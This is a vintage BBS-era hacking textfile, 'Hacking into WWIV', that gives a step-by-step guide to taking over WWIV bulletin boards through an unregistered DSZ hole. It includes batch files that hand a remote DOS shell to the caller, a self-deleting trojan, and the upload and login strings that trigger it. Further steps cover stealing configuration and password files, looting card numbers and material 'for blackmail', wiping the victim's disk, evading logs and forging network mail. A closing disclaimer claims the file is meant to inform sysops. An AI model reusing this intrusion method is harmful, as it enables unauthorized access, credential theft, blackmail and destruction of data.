176 lines
12 KiB
Plaintext
176 lines
12 KiB
Plaintext
|
|
|
|
Hacking into WWIV, Second Edition
|
|
|
|
by Vision
|
|
|
|
WWIV, when unmodified and when not using external chains/protocols/programs,
|
|
is essentially impregnable. However, good ol' Wayne Bell has also distributed
|
|
the source code, external network programs, protocol support, and other nifty
|
|
benefits that have made life for a WWIV hack much easier. This textfile will
|
|
describe the essentials of hacking into WWIV via a hole in unregister.
|
|
The key here is >unregistered<, since this hack works through DSZ's refusal to
|
|
reroute Zmodem-batch downloads without registration.
|
|
|
|
Step One:
|
|
|
|
Call your local WWIV startup under a false alias. They are usually struggling
|
|
and haven't had the time to 'register' DSZ with PUTSNP or register their
|
|
source so they can patch this hole. You need to find out what COM port they
|
|
are operating on. Once you do this, create several files:
|
|
|
|
a) DLZ.BAT - this should read:
|
|
CLS
|
|
CTTY CON
|
|
DSZ port1 speed2400 sz %1
|
|
CTTY COM1
|
|
CLS
|
|
|
|
Substituting, of course, the correct COM port. This will allow
|
|
you to download files remotely via Zmodem.
|
|
|
|
b) HACK.BAT - this should read:
|
|
CTTY COM1
|
|
COMMAND
|
|
|
|
Again, if the SysOp is running from another COMport, substitute the
|
|
correct number. This will turn over control of the computer to
|
|
whatever device is on COM1 (the modem) and run the command
|
|
interpreter.
|
|
|
|
c) NETWORK.COM - the QuickBASIC source for this is:
|
|
SHELL "DEL NETWORK.COM"
|
|
SHELL "HACK.BAT"
|
|
Compile & link it to NETWORK.EXE then rename it to NETWORK.COM. This
|
|
will delete itself and run HACK.BAT. If you want, right it in Pascal
|
|
or C, but it's not going to make any difference.
|
|
|
|
Step Two:
|
|
|
|
Call back and go straight to the transfer section. Upload (to any directory,
|
|
or directly to the SysOp). When prompted for the file name, enter
|
|
"????????.???" (eight ?'s then three ?'s, without the quotes). You'll see
|
|
the Zmodem receive string. Upload one of the above files. The BBS will
|
|
say, "transfer aborted"... but you know better! Repeat until all files
|
|
have been uploaded.
|
|
|
|
Step Three:
|
|
Call back very shortly afterwards (thirty seconds, no more, no less). When
|
|
you get the "NN:" prompt, enter "!-@NETWORK@-!" (again, no quotes). This
|
|
will access the unpassworded WWIVnet account (the password routines are
|
|
external). When the BBS sees this, it will drop to DOS and run
|
|
NETWORK.EXE.
|
|
However, since COMs are run before EXEs, your NETWORK.COM will be executed
|
|
promptly turning control over to you via HACK.BAT! Now that you are in
|
|
promptly turning control over to you via HACK.BAT! Now that you are in
|
|
DOS, there are a few things that you must immediately do.
|
|
|
|
Step Four:
|
|
|
|
Use DLZ.BAT to leech the target's CONFIG.DAT from his main BBS directory (the
|
|
one you were dumped in when you arrived). The format is:
|
|
|
|
DLZ <filename>
|
|
|
|
where <filename> is the name of the file. For example,
|
|
|
|
DLZ CONFIG.DAT
|
|
|
|
will leech the configuration file.
|
|
|
|
Step Five:
|
|
|
|
Go to his BBS DATA directory. This is usually C:\WWIV\DATA, but you might
|
|
have to look around a little bit. When you find it, use DLZ to leech the
|
|
target's USER.LST. Using Norton Utilities or any hex and/or text editor, it
|
|
is very easy to see where the usernames and their passwords are stored.
|
|
|
|
Step Six:
|
|
|
|
If the target is in WWIVnet or WWIVlink, download his/her CALLOUT.NET file fro
|
|
the aforementioned data directory. This will be explained later.
|
|
|
|
Step Seven:
|
|
|
|
Delete HACK.BAT if you haven't already!
|
|
|
|
Step Eight:
|
|
|
|
Look around. Leech anything that looks interesting. This includes:
|
|
|
|
> Private G-Files from the G-File section
|
|
Good for __/ Lists of credit-card or calling-card numbers
|
|
blackmail \ Pirate files
|
|
--> His dialing directories from Telemate or Telix; these usually
|
|
contain passwords and numbers of private BBS's!
|
|
|
|
Step Nine:
|
|
|
|
Hang up. If you really hate him, upload Norton's WIPEDISK.EXE along with the
|
|
rest of the files, run it, and permanently destroy all data on his drive.
|
|
This is generally not recommended, because so far he has NO WAY of knowing
|
|
you were in unless he watched.
|
|
|
|
---------
|
|
Tips:
|
|
---------
|
|
|
|
a) In the target's logs, nothing will show except that you hit 'U'
|
|
when you were online and quit before the upload started. This is
|
|
virtually always overlooked, and logs more than two days old are
|
|
usually deleted.
|
|
|
|
b) In the target's net logs, he'll probably see a >NO NET<, which is
|
|
rather common.
|
|
|
|
c) Very close to the beginning of CONFIG.DAT and right before the
|
|
first directory entry (usually "MSGS\") you will find the target's
|
|
SYSTEM PASSWORD. This is needed if you are going to log on as
|
|
him or a remote sysop.
|
|
|
|
d) If a sysop logs on, it is not noted in the LAST FEW CALLERS screen
|
|
OR the logs.
|
|
|
|
e) A few commands that you will want to try out when you are online as
|
|
#1 are:
|
|
|
|
//DOS
|
|
//UEDIT
|
|
//BOARDEDIT
|
|
//DIREDIT
|
|
//GFILEEDIT
|
|
//CHUSER
|
|
|
|
Most require the system password, but if you're online as the
|
|
sysop you already have that.
|
|
|
|
f) You can have great fun with planted and rouge mailing if you have
|
|
a copy of WWIV and the victim's CALLOUT.NET. CALLOUT.NET has a
|
|
little note after every entry that looks something like:
|
|
|
|
"KAOIYQIGNADFUKG"
|
|
|
|
Or another random password. Read WWIVTECH.DOC.
|
|
(available on most WWIV boards) for more information. You
|
|
should be able to pick up/drop off mail supposedly from and
|
|
to your target very easily for about a week. When you start
|
|
getting >BAD PASSWORD<, get back into your victim's DOS
|
|
and get the passwords again!
|
|
|
|
g) You should be able to figure out what to do with the password file.
|
|
|
|
h) NEVER, NEVER, NEVER press backspace when there is nothing to
|
|
backspace! This will have catastophic effects and will definintel
|
|
crash CTTY!
|
|
|
|
i) This file is provided to inform WWIV sysops of this threat. If
|
|
somebody uses it for "bad" purposes, it is not my fault.
|
|
|
|
Later!
|
|
\ /
|
|
<=---\----/--i--s--i--o--n---=>
|
|
\/ Re-Edit by Silver Sword
|
|
|
|
|
|
|